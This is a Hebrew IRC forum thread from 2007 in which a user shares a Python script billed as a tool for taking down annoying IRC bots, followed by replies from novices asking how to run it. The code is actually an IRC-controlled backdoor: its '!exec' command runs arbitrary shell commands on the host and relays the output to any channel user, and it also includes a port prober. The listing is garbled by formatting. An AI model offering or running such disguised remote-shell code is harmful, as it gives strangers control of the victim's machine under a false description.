קהילות פורומים, הורדות, יעוץ ותמיכה


אשכולות דומים

  1. [עזרה] מישהו יכול לעזור לי לגבי קוד לקישור באקשן סקריפט?
    על ידי Slim_Shady בפורום גרפיקה ועיצוב אתרים
    תגובות: 1
    הודעה אחרונה: 26-03-2006, 20:22
  2. צריך סקריפט דחווווףף!!!
    על ידי -=o-s=- בפורום תמיכה טכנית
    תגובות: 1
    הודעה אחרונה: 03-02-2006, 18:20
  3. תגובות: 5
    הודעה אחרונה: 22-10-2005, 20:56
  4. LOL אלון רב עם בוטים (Services יותר נכון)
    על ידי ^Brat_BoY^ בפורום דיבורים
    תגובות: 18
    הודעה אחרונה: 15-10-2005, 21:57
  5. חזר Irc.co.il :] כנסוו למירק ..
    על ידי Ta[M]iR בפורום דיבורים
    תגובות: 1
    הודעה אחרונה: 20-09-2005, 18:50
מציג תוצאות 1 עד 10 מתוך 10

[סקריפט] שמתקיף בוטים ב IRC

  1. #1
    משתמש אטרף האוואטר של CoreOxide
    שם פרטי
    אלכס
    תאריך הצטרפות
    12/2005
    גיל
    35
    הודעות
    4,251
    לייקים
    0
    נקודות
    206
    משפט מחץ
    Life is a biatch, but its my biatch
    מין: זכר

    ברירת מחדל [סקריפט] שמתקיף בוטים ב IRC

    למען הטעם הטוב וכדיי להיות מועיל לפורום החלטתי לשלוק חלק מהסקריפטים שלי.
    להזכירכם, הסקריפטים ניתנים להפצה אך ורק בנתינת קרדיט.

    אם פעם מעצבן אתכם איזה בוט במירק, עכשיו יש לכם דרך להוריד אותו!

    קוד PHP:

    # BotKill by CoreOxide
     # ICQ 607874

    #A tool for disabling an IRC bot

    import socket
    import os
    import sys
    from random import 
    *
    from time import *

    class 
    IRC:

        
    def __init__(self):
            
    self.sock socket.socket(socket.AF_INETsocket.SOCK_STREAM)
            
    self.port=6667
            self
    .ch_key=''
            
    self.nick 'me'+str(randrange(1000)) #bot name
            
    self.entermsg='[+]ok'           #send msg to chan after connect
            
    self.autoentermsg=1                 #send self.entermsg
            
    self._exec='!exec'              #prefix for shell command
            
    self.bot_commands=['!exit','!port','!version','!get','!stop',self._exec]
    #        self.encoding='1251'          #default Russian (encode in you irc client)
            
    self.sleep=0.1                #delay between send !exec result lines
            
    self.version='0.2'
            
        
    def loop(self):
           
    # try:
                
    self.sock.connect((self.hostself.port))
                
    self.sock.send('NICK %s\r\n' self.nick)
                
    self.sock.send('USER localhost localhost localhost : slavar\r\n')
                
    self.sock.send('JOIN %s %s\r\n' % (self.chan,self.ch_key))
                if 
    self.autoentermsgself.__sendprivmsg(self.entermsg)

                while 
    True:
                    
    self.res_data self.sock.recv(1024)
                    print 
    self.res_data                          #dbg
                    
    if self.res_data.startswith(':ERROR') or self.res_data.startswith('ERROR'):
                        
    self.sock.close()
                        print 
    '[-]Serv error'                   #dbg
                        
    sys.exit(1)
                    if 
    self.res_data.startswith('PING'):
                        
    self.sock.send('PONG : PING\r\n')
                    
    elif self.res_data.find('PRIVMSG')!=-1:
                        
    msg,msg_type,command,from_=self.__pars_privmsg()
                        print 
    'msg_type=%s msg=%r cmd=%r'%(msg_type,msg,command)#dbg
                        
    if (msg_type=="to_user" and command!=''):          #this is a bot command
                            
                            
    if command in self.bot_commands:
                                   if 
    command=='!exit':
                                          
    self.__ircexit()
                                          
    self.sock.close()
                                          
    sys.exit(0)
                                   
    elif command=='!version':
                                       
    self.__sendto_user(from_,'Version= \x0303%s'%self.version)
                                   
    elif command=='!exec':
                                       
    stdout=os.popen(msg[(len(command)+1):])
                                      for 
    line in stdout.readlines() :                                                                             
                                           
    sleep(self.sleep)
                                           
    self.__sendto_user(from_,line)
                                           
    #print line               #dbg

                                   
    elif command=='!get':
                                        
    """DCC SEND will be later;)"""
                                       
    self.__sendto_user(from_,'\x01DCC SEND 123.txt 2130706433 4116 4\x01'#ip to long socket.ntohl(struct.unpack('i',socket.inet_aton('127.0.0.1'))[0])
                                        
                                    
                                   
    elif command=='!port':
                                   
    #     print '%r %r'%(msg.split()[1],msg.split()[2])    #dbg
                                        
    try:
                                            
    x=self.__check_port(msg.split()[1],msg.split()[2])
                                        
    except:
                                            
    self.__sendto_user(from_,'\x0304[-]\x0300Error "!port [host] [port]" format')
                                            
    x=-1
                                        
    if x==1:    
                                            
    self.__sendto_user(from_,'\x0303[+]\x0300Port %i Ok'%int(msg.split()[2]))
                                        
    elif x==-1:
                                            
    pass
                                        
    else:
                                            
    self.__sendto_user(from_,'\x0304[-]\x0300Close')
                            
    elif msg.startswith('\x01DCC SEND'):
                                print 
    'DCC SEND' #dbg
                                
                                
    pass
                            
    else:
                               
    self.__sendto_user(from_,'\x0304[-]\x0300Unknown command %s'%command)
                               
                                    
                       
            
    #except:
              #      print '[-]Error:',sys.exc_value
        
    def __ircexit(self):
            
    self.sock.send('QUIT :\x0302Go offline\r\n')

        
    def __sendprivmsg(self,msg):
            
    self.sock.send('PRIVMSG %s :%s\r\n' % (self.chan,msg))
            
        
    def __sendto_user(self,user,msg):
            
    self.sock.send("PRIVMSG %s :%s\r\n"%(user,msg))
                  
        
    def __pars_privmsg(self):
            
    msg=self.res_data.split(':',2)[2][:-2]
            if 
    self.res_data.split(':')[1].split()[2][0]=='#'msg_type='to_chan'
            
    else: msg_type'to_user'
            
    from_self.res_data.split('!')[0].replace(':','')
            if 
    msg[0]=='!'command=msg.split()[0].replace('\r\n','')
            else: 
    command=''
            
    return msgmsg_type,command,from_
        def __check_port
    (self,host,port):
            
    socktest socket.socket(socket.AF_INETsocket.SOCK_STREAM)
    #        socktest.settimeout(timeout)
            
    try:
                
    socktest.connect((host,int(port)))
                return 
    1
            except
    :
                return 
    0
    if __name__ == '__main__':

        
    bot IRC()
        
    bot.host 'irc.lamer.la'              #irc server ip (default bot.port=6667)
        
    bot.chan '#chan'
        
    bot.ch_key'key'                   #channel password
        
    bot.nick=(socket.gethostname()).replace('.','_')+'_'+str(randrange(10))
    #   if os.fork():
        
    bot.loop() 
    נערך לאחרונה על ידי CoreOxide; 12-07-2007 בשעה 11:55.




  2. קישורים ממומנים

  3. #2
    RESTIVE
    אורח

    ברירת מחדל

    איך משתמשים ?

  4. #3

    ברירת מחדל

    איפה אני מכניס תקוד הזה?

  5. #4
    RESTIVE
    אורח

    ברירת מחדל

    alt+r
    file
    new
    שם

  6. #5
    משתמש מתחיל האוואטר של F`reeDon
    שם פרטי
    שחר
    תאריך הצטרפות
    07/2007
    הודעות
    66
    לייקים
    0
    נקודות
    0
    משפט מחץ
    Sro~! I'ts My Life~!
    מין: זכר

    ברירת מחדל

    אחי תסביר איך להישתמש בזה איך להפעיל את זה ו פקודות תודה .

  7. #6
    ThE
    אורח

    ברירת מחדל

    זה לא סקריפטינג!!
    באיזה שפה זה כתוב?
    C?

  8. #7

    ברירת מחדל

    חח כשאתה מפרסם קוד כלשהו, אתה צריך להגיע באיזה שפה ולאיזה פלטפורמה הוא נועד..
    בכל מקרה, הסקריפט הזה נכתב ב Python [שפה שולטת] ומתאים גם ללינוקס וגם לווינדוס. כל מה שאתם צריך לעשות זה לחפש בגוגל "download python"
    להוריד את התוכנה, להתקין.
    להכנס ל CMD, לתיקייה שהתקנתם בה את Python ולהריץ את הפקודה הבאה:
    python file.py
    כאשר file.py זה שם הקובץ שמכיל את הסקריפט הזה...

    עריכה:
    עכשיו כשאני מסתכל על הקוד, אולי עדיף אם היית מאפשר קלט נוח, במקום שאנשים יערכו את הקוד, הם יכולים לספק את כל הקלט דרך שורת הפקודה..
    נערך לאחרונה על ידי pitbull; 28-07-2007 בשעה 12:00.

  9. #8

    ברירת מחדל

    אפשר בבקשה לינק ישאיר לתוכנה אני לא יודע מה להוריד הורדתי כמה דברים אבל זה לא טוב

  10. #9
    משתמש מתחיל
    שם פרטי
    מאור
    תאריך הצטרפות
    11/2005
    הודעות
    55
    לייקים
    0
    נקודות
    0
    משפט מחץ
    מה שלא הורג אותך מחשל אותך
    מין: זכר

    ברירת מחדל

    תודה

  11. #10

    ברירת מחדל

    מישהוא יכול לתת לי לינק לתוכנה אני לא יודע מה להוריד!



הרשאות פרסום

  • אין באפשרותך לפרסם נושאים חדשים
  • אין באפשרותך לפרסם תגובות
  • אין באפשרותך לצרף קבצים
  • אין באפשרותך לערוך את הודעותיך


כל הזמנים הם לפי GMT +3. השעה כרגע היא 14:59.
מופעל על ידי vBulletin™ © גרסה 4.1, 2011 vBulletin Solutions, Inc. כל הזכויות שמורות.
פעילות הגולשים
אומנות וגרפיקה
מוזיקה
ספורט
סדרות טלוויזיה
סרטים וקולנוע
קנייה ומכירה
רשתות חברתיות
הבורר 3
פורומי פנאי ובידור
סרטים
סדרות
משחקים
דיבורים
אקטואליה
בעלי חיים
בדיחות והומור
משחקי ספורט
הבורר
מחשבים וטכנולוגיה
תמיכה טכנית
חומרה ומודינג
תוכנות להורדה
סלולארי וגאדג'טים
רקעים למחשב
ציוד הקפי למחשב
אבטחת מידע
תכנות ובניית אתרים
כסף ברשת
אייפון
בריאות ואורח חיים
כושר ופיתוח גוף
דיאטה
צבא וגיוס
יעוץ מיני
מה שבלב
אומנות הפיתוי
יהדות
מיסטיקה ורוחניות
אתאיזם ודתות

נושאים: 2,473,448 | הודעות: 8,174,035 | משתמשים: 315,603 | המשתמש החדש ביותר: upizijoj | עיצוב גרפי: סטודיו עודד בביוף | קידוד: rellect